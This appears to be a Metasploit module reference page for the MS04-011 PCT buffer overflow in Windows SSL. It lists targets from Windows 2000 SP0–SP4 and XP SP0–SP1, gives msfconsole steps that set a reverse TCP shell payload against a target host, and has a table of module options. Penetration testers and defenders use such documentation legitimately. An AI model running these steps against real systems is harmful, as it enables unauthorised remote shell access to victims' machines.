Microsoft Private Communications Transport Overflow
This module exploits a buffer overflow in the Microsoft Windows SSL PCT protocol stack. This code is based on Johnny Cyberpunk's THC release and has been tested against Windows 2000 and Windows XP. To use this module, specify the remote port of any SSL service, or the port and protocol of an application that uses SSL. The only application protocol supported at this time is SMTP. You only have one chance to select the correct target, if you are attacking IIS, you may want to try one of the other exploits first (WebDAV). If WebDAV does not work, this more than likely means that this is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS 5.1). Using the wrong target may not result in an immediate crash of the remote system.
Exploit Rank
- Average
Exploit Authors
- hdm < hdm [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Windows 2000 SP4 (default)
- 1 - Windows 2000 SP3
- 2 - Windows 2000 SP2
- 3 - Windows 2000 SP1
- 4 - Windows 2000 SP0
- 5 - Windows XP SP0
- 6 - Windows XP SP1
Exploit Development
Similar Exploit Modules
Exploit Usage Information
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/ssl/ms04_011_pct
msf exploit(ms04_011_pct) > show payloads
msf exploit(ms04_011_pct) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(ms04_011_pct) > set LHOST [MY IP ADDRESS]
msf exploit(ms04_011_pct) > set RHOST [TARGET IP]
msf exploit(ms04_011_pct) > set RPORT [TARGET PORT]
msf exploit(ms04_011_pct) > exploit
Exploit Module Options
| PROTO | The application protocol: raw or smtp (default: raw) |
| RHOST | The target address |
| RPORT | The target port |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
